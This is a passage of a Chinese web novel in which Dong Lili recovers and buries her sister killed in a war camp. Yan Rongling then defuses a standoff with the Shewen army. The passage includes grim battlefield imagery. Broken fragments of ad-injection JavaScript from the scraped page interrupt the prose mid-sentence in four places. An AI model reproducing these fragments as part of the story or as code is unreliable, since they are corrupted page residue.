燕戎陵模样有些醒悟,“原来当时还发生了这种事啊,我都不知道……” 燕无:“他没在甾染捞到什么好处,后来好像跟着燕戎真走了,穿过了白鸣谷,去了摄文。现在怎么又会出现在牧盟这个没什么人烟的地方?” 董莉莉摇摇头,“我也不知道。为了救克拉娜他们,我们混入了军营里,不料,却被黎礼发现了。是他突然出现救了我,但是也因此被黎军抓住了……” 燕戎陵听闻,“那得把他救出来吧?” 董莉莉道:“我是这么打算的。” 燕戎陵盯着她,突然想起来什么似的,问道:“我记得你是不是还有个妹妹,她人呢?” 董莉莉垂下了视线,“其实,我正要去找她。” 燕戎陵问道,眼神直率,“她在哪?” “她在这个军营里,如果我没记错,就在这个营帐附近。” 燕戎陵眨了眨眼睛,像是明白过来了什么,停顿了一下,声音放轻了几许,“这样吗……我陪你去找吧。” 董莉莉本来还想推脱一下,毕竟自己和这个燕家的大哥也不是很熟,但是,一想到董夜明,想起她最后的目光,她就像是被什么东西击中了一样,无法抬起头来,难以直起身体,感觉一切都很沉重。因此,那番推脱的话,也没有说出口。 她和燕戎陵两人离开了营帐,在周围搜寻了起来。董莉莉凭借记忆,来到了关押克拉娜和白祁的那个营帐,它依然立于原处,里面的人不知转移到了哪里。 董莉莉一言不发地向营帐后面走去,便是在那里,她和董夜明被黎军所包围,无数杆枪指着她们,逃无可逃,而后便发生了悲剧。 燕戎陵也安静地跟在董莉莉的身后,他们绕到了营帐后面的辎重堆里,然而,那里却空无一物,依稀能够看出来交战的痕迹,弹孔遍布地面,可风却带走了故事,没人知道这里曾发生过怎样的动乱。 董莉莉走过去,站在一片狼藉的中央,她环顾四周,看着这番熟悉的、恐怖的景色,一种荒凉之感蔓延上了她的心头。 “她不见了……”董莉莉抱着自己的胳膊,在寒冷的空气中蜷缩,每说一句话,都在空中吐出混浊的白气。她看着周围这一切,死亡的恐惧在呼唤她,让她想起,昨晚是如何失去了妹妹,又是如何,自己的性命也险些丢在这里。 燕戎陵走了过来,四下看了看,说道:“应该已经被人清理过了,是我让士兵打扫了这里的战场。没关系,莉莉,我知道他们会把她带去哪。” 燕戎陵如此说着,让她跟上自己。董莉莉点点头,依然抱着自己的大臂,她在颤抖,有很多原因,害怕、寒冷,或许是现实的冲击。身体像是终于想起来昨夜的可怖,之前一直被恨意和懊悔浇灌着,而没有反应过来。 燕戎陵带着她往军营的西边走,他们看到了好几个正在搬运尸体的士兵,两人负责一辆车,一个往上面捡尸体,一个负责拉车。他们把黎军的士兵放在一起,把麦哲也的士兵放在一起,军装相异的两伙人,分别被堆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 积在不同的车里。 董莉莉看着那些尸体,只觉得寒意更加深重。这还是她第一次见到这么多死人,没有一丝生命的迹象,各有各的死法,每一个都使人看得毛骨悚然,然而,却好像有一种内在的驱使,即便害怕、惊慌,她的目光依然追随着那些死者的脸,寻找她妹妹的身影。 “别看了,你妹妹不会在这里。”这时候,燕戎陵说道,他侧过身来,高大的身影投下一片沉静的阴影,他低头看着董莉莉说,“小心晚上睡不好觉。” “不,我要看。”董莉莉拒绝了对方的好意,“将来如果再遇上这种情况,我……不能恐惧,也不能逃避。现在必须适应。” 燕戎陵的眉毛耷拉下来,目光有一丝怜惜,“怎么会呢,你不会再经历这种事了。” 董莉莉没说什么,只是执着地看着那些死人。 突然,她面前的男人停了下来,董莉莉也跟着驻足,以免撞上对方的后背。 燕戎陵支支吾吾,像是有些犹豫,说道:“呃,要不我们还是换一条路吧。” 董莉莉不明所以,见对方似乎在遮挡什么,她下意识地探出头去。 在他们面前有一根木桩,两端都削尖了,一端插在地上,另一端挂着一面旗帜。而在那木桩的中央,插着一个焦黑的死人。 董莉莉看到这一幕的时候,突然想起刚才还没有进入军营时远眺看到的景象。的确是有这么个木桩,上面插着一个被烧成黑炭的人,那时候,一伙麦哲也的士兵在围着它打转、庆贺,但是,现在他们已经不见了。宴会也终有结束的时候,或许是因为一个死人没什么太多值得庆祝的,那些人已经如鸟雀一般散去。 董莉莉定睛望去,之前在远处看不清尸体的样貌,现在离近了,那个歪斜、扭曲、不成人形的脸如今清晰可见。 董莉莉突然发现,自己认得他,虽然她和那张脸的主人并没有太多的往来,但是,对方代表了一部分家乡的记忆。 那是血皑的大将军,默龙。原效力于老城主杜义,后来,听杜光欧说,默龙其实也是黎礼的人,是他们的敌人。 现在,他的尸体插在一根木桩上,整个人被火烧一般变成了黑炭,四分五裂的铠甲上有大大小小的弹痕。现在已经说不好,他究竟是被烈火烧死的,还是因这根木桩穿刺而亡,又或者是先被那些子弹打成了筛子。 董莉莉感到一阵恶寒。她对默龙的死亡无动于衷,只是想起来那些麦哲也的士兵围着他转圈的场景,难怪,那些人会那么兴奋地炫耀胜利,原来他们围着的死人,是象征着血皑最高军权的男人,他的尸首是他们赢下这场战争的重要标志。 连大将军都命陨此处,可见这场战争的惨烈。也侧面证明了,黎军几乎已经穷途末路,但即便如此,他们也没有调头回城,而是继续向横古山脉急行。 他们目的地究竟是哪?他们把杜光欧带走到底是想干什么? 219. 反将一军3 燕戎陵移动自己的身体,挡在董莉莉的眼前,将那惨不忍睹的尸首遮住,“走吧,你妹妹不在这里。” 董莉莉没有再纠结于去看默龙的尸体,仅仅是刚才那么一瞥,她已经知道了足够多的内容。 两人再度踏上路程,不过多久,周围的空气中散发出一种怪异的味道,燕戎陵停了下来,眼前是一个深坑,里面堆放着大大小小的尸体,有的残破不全,有的看上去没有受到任何伤害,但是,相同的是,他们都不会再度醒来。 士兵们在搬运尸体,将他们往深坑里排列,一个挨一个。 燕戎陵走过去,大声问道:“有女人的尸体吗?” 士兵们听到了他的问话,不知情的人彼此互相投去疑惑的目光,而知情者站了出来,回应道:“有!” “在哪?”燕戎陵问。 “还在车上,少尉!”对方回答他。 陌生的称呼在董莉莉的耳中一晃而过,她没精力去理解士兵对燕戎陵的称呼代表了什么。 那个士兵指着一旁的木车,车上堆积着一众的尸体,董莉莉立刻跑了过去,一步不停。 离那运载车越来越近,她的呼吸也越来越急促。最终扑在了那堆死气沉沉的尸体上,寻找着一个熟悉的脸庞。 很快,她发现了她。 董夜明斜着倒在木车上,身体被几个死者夹在中间,她身上还穿着黎军的盔甲,它套在她身上显得有些空空荡荡。即便从小习武、时常和男人比试,但是,黎军的铠甲还是太大了,更何况她还处于长身体的年纪。 女孩无言的躺在尸体之间,半阖着眼睛,脸色惨白,额头上有一个黑色的洞,那里已经不再流血。 董莉莉冲上去抱住了她,拥紧冰冷的躯体,和身边一个士兵一起将她从车上搬了下来。 女孩的脸颊有些透明,皮肤泛起一种不健康的青色。董莉莉伸手,想要把妹妹的眼睛阖上,然而,尝试了一次却失败了,它再度张开,死不瞑目。 董莉莉盯着,手在颤抖,感觉心脏开始抽搐。明明知道她死了,在昨天夜里就已经知道了这件事,然而,在看到亲人脸庞的这一刻,还是突然觉得窒息,死亡第一次如此地接近,它带走了妹妹的灵魂,将躯壳舍弃在这片大地之上。 无论她怎么呼唤,这时候的董夜明,都无法再回应她了。 妹妹的眼睛睁着,视线没有焦距,只是空茫地看着白色的天空。 董莉莉抬起头来,顺着妹妹的视线,看着那高远的、空无一物的白幕。她盯着,脑袋里什么都没有,但又感觉自己在被什么东西吞噬,无法动弹,宛如陷入了冰冷的泥沼。渐渐地,那天空开始颤动,边缘在摇晃,视野在缩小。 她往一旁栽倒,身体一点力气都没有了。 站在一旁的燕戎陵见状,伸手扶住了骤然倾倒的身体,在她耳旁轻声说:“莉莉,把她交给我吧。” 董莉莉没有力气拒绝,也没有精力回应。燕戎陵扶着她站了起来,招呼来几个士兵,让他们小心翼翼抬起董夜明,然后,带着她们,离开了这个充满死亡气息的坑地。 他们来到了一个还算整洁的营帐里面,这些都是黎军剩下的物资,但反正他们也不可能掉头来回收了,所以后来居上者便利用了起来。 燕戎陵本打算把他们姐妹俩分开,但是董莉莉不允许。她实在是太累了,昨晚一夜无眠,身体叫嚣着想要沉睡,但是,没有董夜明在身边,她无法合上眼睛。 于是乎,他们把董夜明也搬进了营帐里,放在董莉莉的身边。 董莉莉在草席上侧躺着,看着那个几乎有些发蓝的面孔。她的妹妹安静地和她躺在一起,从来没有这么乖巧过。 熟悉的侧颊定格在眼中,困倦为它蒙上了一层模糊的轻纱。 董莉莉想起了爸妈,记起自己和妹妹是因为什么离开家,去往琉城,回到血皑,又从那个地方逃出来。辗转反侧,抵达了燕戎陵建立的暮落镇,自己又是如何与她离别,和葛马去甾染追寻杜光欧,然而,又是如何无功而返,再度回到法陆贡旁边的暮落镇。然后,那之后,她们便一直待在一起,直到黎军突袭了镇子。 她还记得,她们那天早上一起去采水,董夜明赖床,在床上磨磨蹭蹭,直到自己收拾好了所有的东西,她才慢慢悠悠爬起来。两个人往河边走,一人一边抬着那辆装水车,董夜明在一旁偷偷使劲,承担了大部分重量,还以为姐姐不知道。 她们路上说了很多,妹妹说的最多的一句话,就是要回家,不一定是血皑,哪里都可以。只要爸在,妈在,她们姐妹俩在,哪里都可以是家。 董莉莉闭上了眼睛,她一只手伸出去,和董夜明冰冷的手握在一起。她的脑海里反复重复着过去的事情,重演着发生过的一切,只有在那些记忆里,妹妹还能在自己的身边,与她嬉闹,和她争论,和她相依为命。 一行泪从她的眼睛里流出来,从左眼到右眼,然后,又顺着右眼角留到了太阳穴,最终,滴落在了身下的垫子上。 她沉浸在一个自己编织的美梦里,它甜美、苦涩,但使人欲罢不能。 渐渐的,她开始分不清哪些是自己制造的梦,哪些是因为困倦而造成的幻觉。 好似一根在海面上沉浮的浮木,她逐渐失去了与世界的联系。 再度睁开眼睛的时候,天色已经暗了下来,营帐里不知何时点起了油灯,那是十分昂贵的物什,在营地中更是不常见。董莉莉不知道是谁把它拿了进来,并点起了火。 她微微撑起上身,动了动,发现自己的手还和董夜明的手握在一起。顺着妹妹的手臂往上看去,女孩依然躺在她的身侧,安静、没有呼吸,只是,她的眼睛不知何时闭了起来,像是放下了什么事情一般,终于沉静地永眠了。 董莉莉恍然地盯着妹妹的脸,迟迟没有动作。 “你醒了。” 这时候,一个女人的声音响起,董莉莉茫然地寻找它的源头,发现营帐口有一个金发的女人。她侧坐在地上,靠着不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怎么牢靠的布篷,模样有些倦怠,看上去已经在那里坐了很久。 “嫂子……”董莉莉下意识叫出了这个称呼。但是转念一想,构建出两人之间关系的那个男人,那个她称之为大哥的白熠,已经算不上自己情同亲人的人。她喊出了这个称呼,却是移开了视线。这么叫,就仿佛她依然接纳那个男人为家人一般,但是,他已经不再是了。 克拉娜站了起来,来到董莉莉的身边,伸手抚摸她的脸,怜惜地看着,细长的眉毛打了一个弯,那里面饱含着太多的悲情,“对不起……对不起。” 董莉莉看着克拉娜,这个金发碧眼的女人。她和他们长得都不一样,是更北边才有的种族,几经辗转流离,来到了血皑,嫁给了白熠。 “为什么要道歉呢。”董莉莉问。 克拉娜摇着头,眼神中满是愧疚,“为他做的那些事。” “你知情吗?”董莉莉问。 “我不知道。”克拉娜道,她的声音破碎,有点哑,眼睛也有些肿。 “那就不用道歉。”董莉莉说。 克拉娜垂下了目光,她的眼睛下方是青黑的眼袋,几天几夜没有好好睡觉一般,“我一直以为他死了,但是,黎军突袭了镇子,我和小祁被抓走,又再一次看到了他。我……不知道这段日子他都在做些什么。他默许了我们成为俘虏。他是个聪明人,在旁人看来,捉摸不定。我总以为自己知道他在想什么,但是,现在看来,我还是不够了解他。” 董莉莉的声音有点冷,她认为自己还是无法接受一个背叛者,无论曾经和他有过怎样亲如家人的过往,“我们都不够了解他,没人知道他在想什么。” 克拉娜痛苦地闭上眼睛,像是隐忍着什么。 她们就这么安静的待了一阵子,脑袋里装着各自的心事。 烛火闪动,有人影从军帐的外面走过,克拉娜从沉思中回过了神来,看着地面上安静沉睡的董夜明。 “要埋葬她吗?”克拉娜问。 董莉莉一时不知道该怎么回答。她不是没想过这个问题,只是不知道该把自己的妹妹安置在哪里。 尽管天气严寒,但是,董夜明的躯体也不可能长久地保持下去,得找个地方埋葬她,但是,应该去哪里?这里是牧盟的荒郊野岭,周围没有一个村落,就算有,那里也不是董夜明的故乡。 而她们已经无法回到她们的故乡,就连那个短暂栖息了一阵子的暮落镇,现在也化为了一片焦土。 她们已经无处可去。 妹妹说,她对血皑没有那么大的执着,家人在哪里,她的家就在哪里。 但董莉莉无法接受。她在血皑出生,也一辈子都是血皑的人。她不会让妹妹的孤魂在这个寒冷的天地间游荡,早晚有一日,她要把她送回那个在天骨盆地中建立起来的城市。她们都要回去。 眼睛里重新燃起了复仇的火苗。是的,她还有仇没报。只有杀死这一切的罪魁祸首,她们才能回到家园,灵魂才落回归处。 220. 冤家相结1 董莉莉看着自己的妹妹,在愤怒之余,她不禁露出歉疚的神情,无声地道着歉。 “后面还有许多事情要做,我打算就在这里埋葬她。”董莉莉说。 “我记得夜明很喜欢唱歌,那些麦哲也的士兵给了我一只笛子,她会喜欢吗?”克拉娜问道。 董莉莉回答,“她会的。” 那之后,天彻底地暗了。 第二天,他们开始着手准备董夜明的墓地和仪式。 那说不上是一个完整的葬礼,只是燕戎陵去找了一些人手过来,盖了一个木棺,而后,又在营地的西南角,靠近血皑城的方向,在一块比较松软的寒地上刨了一个坑出来。 他们把笛子放在董夜明的手里,把董夜明放进木棺,然后,又把木棺放进土坑里,再用一铲铲的土盖住那个木棺。 他们在上面立起了一个石碑,上面刻着董夜明的名字,寥寥几句话,书写她的一生。 董莉莉看着那个墓碑,感觉心里空了一块。天气是阴冷的,四处都结着霜,阴沉沉的天空似乎要坠落下来,像要吞噬这片大地。 董莉莉感觉自己很累,但是,一个声音告诉她,不能倒下。 这还不是结束,远远没有结束。一块石碑,一片不知名的土地,这只是一个临时的落脚点,将来,她必定会把妹妹带回故乡,让她在安稳之处悠然长眠。 为此,还有许多事情要做。 周围的身影来了又去,反反复复都是那几个声音在向她搭话,董莉莉不知道自己对旁边的人说了几回:“没事,我就多待一会。” 不知过去了多久,她回过头来,发现身后仍有两个身影。 燕戎陵靠在一块插在泥土里的木板旁,模样有些困倦,点着头,似乎就要睡着。而克拉娜则坐在一块石头上,静静地看着墓碑。 这只是一个不知名的女孩的墓,麦哲也的将士不会为她祈祷送别。 只有董莉莉,以及一个曾经与女孩情同家人的妇人,和一个热心肠的领导者,尚且停留在她的墓旁。 董莉莉盯着这些依然愿意为董夜明留下来的人,想要对他们说些什么,但是,还未等她张口,一个士兵从远方匆匆而来,声音隔着老远就传了过来,“少尉,少尉!有紧急情况!” 燕戎陵从浅眠中惊醒,抖了一下,像是有点冷,他茫然地向音源看去,睡眼惺忪,声音也粘滞,问道:“怎么了?” “有一只军队在接近营地!”士兵说。 “什么!?”燕戎陵猛然睁大了眼,脸上的睡意彻底不见了,“哪来的?什么旗帜?” 来自麦哲也的士兵回复道:“不太清楚,不是黎军的装束!他们来势汹汹,意图不明,燕无已经带着我们的人前去应付了,但是数量差距实在是……” 燕戎陵脸色苍白,转过身来看着两个女人,接连吩咐道:“你们快藏起来,我记得克拉娜还有个小孩是吧,快带着他走。士兵,带我去找燕无!叫上现在在做其他事情的人,全部集结!” 燕戎陵话毕,已经行动了起来,他脚下极快,翻越了一个土丘,一刹那就不见了。 董莉莉和克拉娜对视了一眼,这里离营地有一段距离,白祁还在某个营帐里,葬礼没有让他参与,考虑到这几天的事已经让孩子受到了惊吓,所以不希望他更加不安。 “走,快走。”董莉莉说道,两人急匆匆跟上了燕戎陵的脚步,往营地的方向跑去。 路上,董莉莉不禁疑惑,这个时候,会是谁的军队? 那个士兵说,来者的装束不是黎军,可那会是谁? 应该不是牧盟的军队,且不说他们和麦哲也的士兵都是一家人,而且,如果是哪只牧盟的军队,那个来自麦哲也的士兵肯定会认出来。 但是,除了血皑和牧盟之外,还有什么人,会在这个节点出现在这里? 她和克拉娜很快回到了营地之中,远远望去,只见东北的方向山丘上有一片黑压压的军队,他们正在行军,像是黑色的洪水,以肉眼可见的急速向营地袭来。 快要来不及了,得在快一点,再快一点回到白祁所在的营帐,不能让一个孩子遭受战争的摧残。 然而,大军的速度还是出乎预料,等董莉莉和克拉娜深入军营的时候,东北的方向,那如漆黑的河水一般的军队也抵达了营地口边缘。 她听到了震天的罗鸣,那意味着什么不言而喻。战争要打响了。 燕戎陵带来的麦哲也士兵几乎全部在和黎军的对抗之中死去,他们已经不剩多少人了。而从刚才往山丘上看时,观察到的进犯者的数量来看,这将是一场实力差距巨大、毫无悬念的战争。它注定是迅速的、残忍的。 董莉莉和克拉娜飞快地往白祁所在的营帐赶去,时间不多了,找到白祁之后,还要带着他逃跑。不知道燕戎陵他们能撑多久,如果撑不了多久的话,那些突如其来的不速之客就会追上他们。带着一个小孩,她们必然逃不快。 她们到达白祁所在的营帐的时候,已经听闻马蹄声闯进了营地,来势汹汹,是属于侵略者的响动。按照这个速度来看,进犯根本没有片刻停歇,从董莉莉在山丘上看到他们开始,他们就在马不停蹄地往军营的内部进发,甚至,连燕戎陵最后组织的一小撮军队也没有起到任何拖延的作用,那些敌军鱼贯而入,几乎没有受到任何阻碍,便这么冲了进来。 “快,我们走!”董莉莉对身边的人说道。 克拉娜把白祁从营帐里抱了出来,男孩似乎很害怕,抱着妈妈,头埋在她的脖颈,像是不想面对这个世界的一切一般,始终不敢抬头张望。 “我们沿着原路返回,西北方向有一片矮灌木丛,离这里很近,先躲进去!”董莉莉边说道,边和克拉娜母子往外跑。 营地里没有马,有也是死去或者是已经残废的马,他们没有可以借助的工具,只能凭借自己的双腿在地上奔跑。 可是,这样实在是太慢了,董莉莉听见马蹄声离他们越来越近,心脏扑通扑通地狂跳。 有些突然地,一种想法从她的脑海里升起来。 这段时间,她好像总是在逃亡,面对的对手过于强大,没有与之抗衡的能力,所以,为了活下去,只好逃命,疯狂逃跑,无论是面对黎军的时候,还是现在,她一直在提心吊胆。 为什么会这样, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 为什么她什么也做不到,只能逃?只能借着别人的帮助,在狭缝间苟延残喘地活下去。 这样,她到底还算不算活着?她想做的事情,想要报的仇,不是一直逃亡就能够办到的,那一定需要无匹的勇气,精心的密谋,以及,只那一次,拼尽全力的牺牲。 没有这样的觉悟,她不可能战胜强大的敌人。 马蹄声越来越近了,尽管在营帐间来回穿梭绕着弯,还是摆脱不掉他们。再这么跑下去,只会三个人一起被抓住。 董莉莉看着面前那个金发女人的背影,还有她身上小小的男孩,他们那么脆弱、无力。白熠背叛了一众人,可他也抛弃了自己的妻儿,让母子俩在危险中自食其力。 就这点上来说,董莉莉和克拉娜他们是一样的,都是一些被背叛、舍弃了的可怜人。但是,这份可怜只是因为他们的处境如此,并不是说,被背叛抛弃这件事可怜。 只要挣脱了当下的境遇,向那些个导致了这一切的仇敌复仇,那么,他们的可怜便不复存在。 不知为何,越是这么想,董莉莉的心情便越平静。 克拉娜在喘息着,步伐并没有变慢,但从身体的表现来看,她已经很累了,再这样下去,她会力竭,现在只是出于生存渴望和对孩子的保护欲望,而强撑着而已。 董莉莉不再向前跑了,她慢慢停了下来。克拉娜回头看她,像是在问她为什么止步了。 董莉莉盯着对方,脸上没有任何的惧色,喊道:“跑吧,我们兵分两路!这样被全部抓住的可能性小一些!” 克拉娜点了点头,继续往前跑。 留在原地的人知道,自己在说谎,哪有什么兵分两路,敌人只需要出动两个骑士,就可以把他们分别抓住,更何况,向他们奔来的马蹄声,根本不止两个。 她站在原地,等待那些人靠近。心理有一种视死如归的感觉,非常地平静,就像是在经历一个循环,她被妹妹保护,被杜光欧保护,被葛马保护,现在,终于,要轮到她去保护别人了。 保护过她的人都很强大,所以面对的敌人也都很强大,现在敌人的实力没变,担起保护职责的人却变成了她。但是尽管如此,她还是拿起了这个接力棒。她会像曾经拯救过她的人一样,做好这件事的。 马蹄声在身后响起,董莉莉藏到了一旁的营帐边缘,露出了半边身体,为了给那些人留下一些踪迹,让他们跟着自己走。 她听到了一阵叫嚷声,那些人好像在呐喊着些什么。她没有理会,往营帐群之间钻进去,朝远离克拉娜的方向跑,为母子俩争取时间。 这样就可以了。董莉莉想道。这样,克拉娜和白祁肯定逃得掉。这种想法在心里蔓延开来的时候,她感觉到了一种异样的充实和宁静。 原来,牺牲自己,去拯救别人,是这样一种感觉。现在她理解了,理解了为她而死的董夜明,也理解了为了救她而深陷水深火热之中的杜光欧。 马蹄声临近,她一下子钻进了一个营帐里。阵阵蹄响包围了这里,黑色的影子在外面来回穿梭。 “是这个吗?” “是,我看到她钻进去了。” 221. 冤家相结2 已经无路可逃,无处可去。但是,好在拯救了克拉娜和白祁,如果刚才没有做出兵分两路的决定,这时候,会是他们三个人一起被团团围住,那样,谁也活不下去。 董莉莉喘息着,感觉自己的胸口又热又痛,刚才跑得太快了,一股烈焰在肺部烧了起来。 外面的影子在徘徊,其中有一个提着长枪的人影下了马,靠近营帐的帐口。 董莉莉盯着,听见自己紊乱的喘息,心脏也在扑通扑通地狂跳。 虽然,牺牲自己让别人得以获救的感觉很好。但是,果然……还是想活下去。 毕竟,她舍弃的,不仅仅是这一条性命,她舍弃的,还有董夜明拼死救下来的一部分,还有杜光欧牺牲自由换来的一部分,她舍弃的,还有仇恨,还有那个可能杀死敌人的未来。这么一看,她舍弃了太多东西。 想到这里,一股反抗的热焰又在身体里烧了起来,董莉莉抓过一旁熄灭的火炉,紧盯着那个即将要被掀开的帐帘。 一个背光的身影出现在营帐口,声音随之传来,“她在这!” 一见对方露头,董莉莉猛然把火炉甩了出去,咚一声正好砸在男人的头上,对方痛吟一声,抱着头蹲了去。 趁这个空档,她越过他,直接朝营帐外跑出去。然而,刚一见光,突然一左一右两个影子围了上来,迅雷不及掩耳将她擒住了。 董莉莉拼命地挣扎,大喊着,“放开!” 要是换一个时间,她还会理智地解释自己是谁,表达她的无害。但此刻,她已经受够了,只想挣脱,心知肚明那声喊叫不会让对方松开钳制,但她还是那么做了,就像是在对自己命运不甘的呐喊。 结果,那些人真的放开她了。董莉莉落在地上,没反应过来怎么回事,只知道自己自由了,于是撒开腿就跑。 但下一刻,一匹马拦住了她的去路。 “叫少尉过来,说我们找到其中一个了。”那马上的人说道。 ……少尉? 董莉莉听到这个称呼,有些疑惑地抬头。逆着光,她渐渐看清了马背上的人。 那是个有些灰头土脸的骑兵,好像刚打完一场仗不久,身上穿着的是防护几乎可以乎略不计的皮甲。 董莉莉看着对方,有些茫然地眨眨眼。 ……这不是麦哲也的士兵吗? 对方把她拦住之后就不再动作了,似乎目的只是看住她,然后等他口中所谓的少尉过来。 脑袋反应了一阵子,渐渐从被追逐的紧张情绪中回过神来。 好像误会了什么…… 不过,麦哲也的士兵为什么要追她?他们不是去阻止那些朝营地袭来的军队了吗? “敌人呢?”董莉莉困惑地问。 那人浑身脏兮兮的麦哲也士兵听见了,回答她,“没有敌人。” 没有敌人?董莉莉不解。 当她迷茫不已的时候,又有一队骑兵向他们所处的地方跑来。 为首的是燕戎陵,他身后跟着四五个骑兵,其中一个上面坐着克拉娜和白祁,母子两看上去还算放松。 几匹马来到近处,燕戎陵脸上一度浮现的凝重神情已经不见了,变得十分畅快,“还好你们没跑太远,不然这荒郊野岭的,找起来就费劲了!” “这是什么回事,发生什么了?”董莉莉问他。 “上来吧,边走边说。”燕戎陵踢了一下马肚子,马儿走到董莉莉旁边,在她面前侧过了身来。 燕家大哥伸出了一只手,董莉莉抓着它上了马,直到坐稳了,她还有些恍忽。 刚才,她都已经做好了必死的准备,但陡然之间,那些围绕着的绝望一下子消散了,整次事件宛如是她自己为自己制造的一场梦魇。 董莉莉还有些没缓过来,朝她身前的背影问道:“朝军营袭来的大军不是敌人吗?” “不是。”燕戎陵说,他调转马头,面向营地的东北角,同时也是那黑黢黢的大军袭来的方向,“起码现在不是。” 马儿颠起四肢,轻盈地踩着泥地奔向营地外围。 越过一个个完好或者残败的营帐,没过多久,目的地的景象出现在了视野之中。 黑潮一般的大军停在营地外周,但他们并没有像董莉莉想象的那样,冲破了营地,鱼贯而入。 麦哲也的军队被一举击溃的情景也并没有出现,这些战胜了黎军的士兵虽然所剩无几,却依然列阵在营地的东北角,和那明显在数量上相差巨大的无名军队面对面抵抗。 燕戎陵遣散了两边的骑兵,让他们把克拉娜母子安顿好。而后,一骑独进,来到了两只军队的侧翼,他拉住缰绳,让马放缓步伐,沿着中间那条泾渭分明的界线往前走。 男人向左右两侧观察,嘀咕着:“怎么还在这对峙……不是说好了先停战吗?” 随着他们接近两只军队的中央,在马后坐着的董莉莉看到,在两军的最前方,各有一个领头人出面,他们各自骑着战马,隔着一条看不见的界线,立在大军的前侧,作为彼此军队的代表,在无声地对峙着。 其中一个人是骑着一匹黑马的燕无,他背后是数量较少的麦哲也军队。他身下的黑马看上去挺拔异常,面对数量悬殊的军队,也丝毫没有退缩之意。 而对面的男人,董莉莉则没有见过。那是一个棕发的严肃男人,眉眼深邃,年纪看上去大概有四十多岁,骑着一匹看上去很普通的枣马,但军装却华丽,一身银色的甲胄做工精良,装饰繁冗,头盔上立有一翎。 棕发的男人在马上笔直地坐着,看模样,不是个将军,也该是个相近的军职。 燕戎陵驾马走到了麦哲也军队的一侧,停在燕无的身边,小声问他的四弟,“怎么回事,不是说没事了吗?怎么还在这里僵持着?” 燕无冷冰冰地道:“他们不肯撤退。” 燕戎陵震惊道:“刚才没说让人家撤退呀?” 燕无:“这个营地是我们打下来的,理所当然物资全都归我们所有,凭什么他们什么都不用做,就可以来坐享其成?” 燕戎陵听了,耐心地劝道: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “燕无……事情不是这么算的,现在你不放他们进来,人家也会自己打进来。何不如直接让开一条路?而且你也不是不清楚,我们带过来的人根本没剩多少了……” “我可以放别人进来。”燕无说着,抬手,直接指着对面一马当先的将领,“但是他不行。” “人家怎么你了,你跟他过不去?”燕戎陵道。 燕无的模样厌恶,“我跟这烦人的家伙在白鸣谷打了多少年,哥,你权当不知道吗?” 燕戎陵还是好言劝慰道:“那不都是很久之前的事了吗……你看,人家还惦记着以往的情面,看咱们人手这么少,也没有直接攻进来,还主动愿意和我们谈谈。” 燕无听了,言辞更是不满,“那是因为他惦记情分吗?那根本就是因为他重兵在后,毫无忌惮,所以愿意怎么对待我们就怎么对待我们。他进来之后把这里洗劫一空,也不会对我们有什么感激之情,依然可以随时按照自己心情翻脸。” 燕无的声音愈发不加掩饰,对面的棕发男人无疑是听见了,他加入了这场谈话。 “我们一路行军而来,队伍疲乏,只是想找个地方落脚,补充一下物资。等军队休整好后就会离开,并不会做你说的那种无耻之事。” 燕无听见了,像是一句话也不能输一般,旋即朝对方说道:“如果摄文的大元帅真有这般品性的话,早就该撤回白鸣谷的驻军。摄文霸占整个北原还不够,一直虎视眈眈地盯着甾染,是什么意图,世人皆知。” “我在三年前就被剥夺了所有兵权,后来白鸣谷的战事与我并无干系。” “谁管那些,背地里制定战略的不还是你吗?”燕无道。 棕发男人的肩膀略微往下垮了一点,似是无言地叹息了一声,片刻,他认真地解释道:“在你父亲燕雁上位甾染武王之前,摄文便已经在白鸣谷设立了哨岗,只是为了监视谷道的动向,并未在那里编排军队。是你们一次次想要攻破白鸣谷,无奈,我们才加重了针对那里的布防。” 燕无反驳,道:“你们在北边建立哨岗,我们便在南边建立哨岗,你说你们最初没有派出驻军,我们也没有。可是,是谁打破了这种平静,是谁一次次摧毁我们的关隘,甚至都打到了甾染的家门口来了,还用我提示你吗?” “你是不是忘了什么前提。”被燕无称为摄文大元帅的男人说,他的声音镇定、平稳,显出饱经风霜的沉静,“是你们不让北地人前往南陆,阻碍了商路,阻绝了一切北地平民的通行。我们无可奈何,为了让贸易进行下去,才不得不摧毁了你们的关隘。” 燕无丝毫不肯退让,说道:“那是因为,你们最初设立的关隘,只允许北地人向南陆通行,却对南陆的人多番审查,不让他们大多数人通过。这种单方面的约制,没人觉得合理。” 对面,大元帅回复道:“南陆中想要穿过白鸣谷、前往北地的人,都是些流浪汉、罪犯、暴徒。而北地过去的人,都是些建筑师、商人、手工艺人,是什么让你觉得,这样的人口输送,对两地来说是公平的?” 222. 冤家相结3 燕无一笑,“现在大元帅开始讲起公平来了?北方不是地大物博吗,你们的正直和同情心去哪了,为什么对我们南陆的子民如此忌惮、嫌恶,大家不都是人吗——” “行了,燕无,别说了。”燕戎陵打断了弟弟,策动马匹,拦在了两军中间,“那些都是过去的事情,过去的事情已经过去了,什么公平公正,那种事情本来就无法做到尽善尽美。谁对谁错,现在去较真,又有什么意义,能给你带来除了一点虚荣心以外的收获吗?” “可是,哥——” 燕戎陵没让他说话,再度打断道:“一开始闻人佐大元帅到来的时候,他就已经说明了,摄文军也是为了剿灭黎军而来。由此可见,我们的目的相仿。不管以前发生过什么,现在只有一件事要做,那就是合作。关注到你现在真正应该关注的事情上来。” 燕无盯着燕戎陵,怒气冲冲地看了好一阵子,可最终也没再说出什么来,头往旁边一偏,不再和对面的闻人佐争执不休。 燕戎陵见燕无不说话了,便调转了马头,向对面的大军喊话道:“无论曾经发生过什么,现在,我们有着同样的目的,希望将来能实现这个共同的理念。” 男人说完,对自己身后的麦哲也军队说道:“让路!” 这些人毕竟称呼燕戎陵少尉,而不叫燕无少尉,他们是燕戎陵的人,即便燕无说什么,也无法阻止他们听令于燕戎陵。 于是乎,麦哲也的军队为摄文军让开了道路,后者如黑色的溪泉,流进了黎军遗弃的军营之中。 